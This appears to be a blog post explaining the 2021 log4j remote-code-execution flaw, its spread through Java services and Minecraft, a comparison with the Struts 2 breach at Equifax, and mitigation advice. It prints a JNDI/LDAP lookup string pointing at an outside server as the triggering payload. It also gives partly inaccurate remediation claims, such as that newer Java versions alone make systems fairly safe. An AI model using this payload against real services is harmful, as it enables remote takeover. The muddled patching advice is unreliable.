On December 9th, a zero-day vulnerability in log4j, a widely used Java logging library, was discovered, allowing for remote code execution by sending a specific type of string to the logger.

Let’s clarify how bigger and widespread this flaw is and how simple it is to attack. For starters, log4j is simply a java library, and java is a widely-used programming language, particularly at the corporate level.

We may have seen the message whenever we had to install or update java, that more than 3 billion devices run java, ranging from computers, phones, ATM machines, and routers, implying that there are millions, if not billions, of devices out there running this logging software, which is blended into all kinds of frequently used services like Spotify, Steam, and Apple iCloud. It's possible that devices running those are at critical risk.

Leave everything aside, servers that run streaming services, Boeing, Cloudflare, and Amazon, which together form a major backbone of the internet, could all be exposed to this zero-day that enables remote code execution. RCE is a very huge matter, and it usually doesn't take much more for someone to gain complete control over the server that is currently running that software. Anything that uses the apache struts or elk stack, as well as some simple standalone Java applications, could be in jeopardy. In fact, it was in one of the most popular Java applications, Minecraft, that the flaw was originally found.

For a few days, it was thought to be a Minecraft bug, but it quickly spread to the cybersecurity world, causing havoc. All you have to do to exploit this in Minecraft is pass the string shown below directly to the console or even the chat, which then gets passed to the logger, allowing remote code execution (RCE).

Still not sure who came up with the concept to create a logger that resolves LDAP addresses or evaluates and then attempts to execute arbitrary text, but it exists, and it's a log4j feature. Unfortunately, not all log4j versions support this by the way.

LDAP (Lightweight Directory Access Protocol) is a software protocol that allows anybody to find and locate information about companies, individuals, and other resources in a network, such as files and devices, whether on the public Internet or within a company's Intranet.

Fortunately, not all versions by default load remote code execution via LDAP, although they are still vulnerable to slightly more complicated forms of remote code execution.

This exploit requires no skill at all to execute for those who use LDAP. There was virtually no expertise required; anyone, including youngsters, could easily hack into it.

So, anywhere there is a java app or an internet service running this logger on its backend, a user can type ${jndi:ldap/servername.com/a.class} and boom!! you are in. This could be a potential attack vector for this flaw. This is a very serious issue, similar to a shell shock vulnerability. There are numerous amounts of testing and execution going on right now on the internet to find services that are using this and exploiting them, and people are gathering all over the world to try and fix this before a hacker finds a way to take over every critical system or leak all of the secrets of everything, and this is also something that a lot of standard security systems that corporations and enterprises might be using. It is not even something that will be necessarily stopped because of the way that this vulnerability occurred; it is exploiting a logging functionality that is for one such a widespread feature in the very deep level of very corporations/organizations, especially using the detailed logging functionality that log4j provides, and when data is coming to the server to be logged, there are usually not a lot of security checks that occur at the point where you will just be logging whatever is going on currently and probably you don’t even think about the logging details of an event being written to your very own logging system.

Let's look at a previous attack, such as the struts 2 vulnerability that was discovered in 2017, and the really scary part about it is that it took 2 whole days after the discovery of the bug to create an exploit for it . Big companies that hadn't patched their services within that time frame were starting to get hacked. One of the biggest consequences of that vulnerability was a massive Equifax data breach, which exposed the personal information of about 150 million people, and the damage inflicted by this vulnerability was really very enormous.

So, if the timeline of this log4j is similar to that of struts 2 or if it takes even 3 - 4 days to fix it, we could go from youngsters hacking each other's Minecraft servers to big companies getting hacked and having critical information, personal information of those companies or their customer’s data getting leaked onto the internet. If the timing is comparable to that of struts 2, this means that a large number of incident response professionals will be working over the clock to try to safeguard their servers and services against these flaws/vulnerabilities.

When you consider that it is vacation month, many people are already on vacation, and that the world is currently experiencing a shortage of workers, many of these places may already be short-staffed, the timeline for properly patching a vulnerability like this happening right now could take a little bit longer than in the past when it took certain days to go from the discovery of this kind of vulnerability to companies being hacked/attacked so every single second counts.

It is guaranteed that there will be large data breaches and some fascinating leaks, as we have seen in the past.

Remedy: Conclusion

So there are some mitigation procedures that can be implemented right now to decrease or even eliminate the attack vector or at the very least a very simple script kitty potential that everyone will implement on their every service out there.

The very first priority should be to ensure that the Java library is currently up to date. If you are using something newer than Java 8, it is currently believed that you are fairly safe, but if you are using java 8 or something older than that, you are really taking a gamble with the protection of your system. However, because this is a very new and recently discovered exploit, you may need to update to something relatively new than Java 8, but it is best to just update to the newest version of java if you can.

Also, make sure you're not running the vulnerable version of log4j, because it appears that Apache just issued a new version of log4j recently which was patched.

Another option is to utilize or experiment with alternative logging libraries other than log4j.

• SLF4J
• Logstash
• Seq
• Logback
• Loki

Main article available here => https://aviyel.com/post/1541

Follow @aviyelHQ or sign-up on Aviyel for early access if you are a project maintainer, contributor, or just an Open Source enthusiast.

Join Aviyel's Discord => Aviyel's world

Twitter =>[https://twitter.com/AviyelHq]